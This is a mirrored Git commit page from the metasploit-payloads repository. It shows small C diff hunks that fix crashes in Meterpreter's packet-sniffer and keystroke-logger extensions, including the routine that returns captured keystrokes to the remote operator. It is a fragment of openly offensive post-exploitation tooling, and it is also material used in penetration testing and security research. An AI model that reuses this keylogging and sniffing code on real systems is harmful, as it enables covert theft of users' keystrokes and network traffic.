mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-05-26 16:53:20 +02:00
Fixes #288 and #320. This should fix the BSoD issue with the sniffer module (other than the mac filter change, this matches the vendor's example) and confirmed that the keyscan_dump fix works
git-svn-id: file:///home/svn/framework3/trunk@7066 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
18f0d3588c
commit
185ccc3d31
c/meterpreter/source/extensions
@ -347,12 +347,14 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
j->active = 0;
|
|
||||||
AdpCloseAdapter(j->adp);
|
|
||||||
AdpDestroy(j->adp);
|
|
||||||
|
|
||||||
EnterCriticalSection(&sniffercs);
|
EnterCriticalSection(&sniffercs);
|
||||||
|
|
||||||
|
j->active = 0;
|
||||||
|
AdpSetMacFilter(j->adp, 0);
|
||||||
|
AdpCloseAdapter(j->adp);
|
||||||
|
AdpDestroy(j->adp);
|
||||||
|
|
||||||
for(i=0; i<j->max_pkts; i++) {
|
for(i=0; i<j->max_pkts; i++) {
|
||||||
if(!j->pkts[i]) break;
|
if(!j->pkts[i]) break;
|
||||||
PktDestroy(j->pkts[i]);
|
PktDestroy(j->pkts[i]);
|
||||||
|
@ -216,10 +216,14 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request)
|
|||||||
Packet *response = packet_create_response(request);
|
Packet *response = packet_create_response(request);
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
if(tKeyScan) {
|
||||||
// This works because NULL defines the end of data (or if its wrapped, the whole buffer)
|
// This works because NULL defines the end of data (or if its wrapped, the whole buffer)
|
||||||
packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, KeyScanBuff);
|
packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, KeyScanBuff);
|
||||||
memset(KeyScanBuff, 0, KeyScanSize);
|
memset(KeyScanBuff, 0, KeyScanSize);
|
||||||
KeyScanIndex = 0;
|
KeyScanIndex = 0;
|
||||||
|
} else {
|
||||||
|
result = 1;
|
||||||
|
}
|
||||||
|
|
||||||
// Transmit the response
|
// Transmit the response
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
Loading…
x
Reference in New Issue
Block a user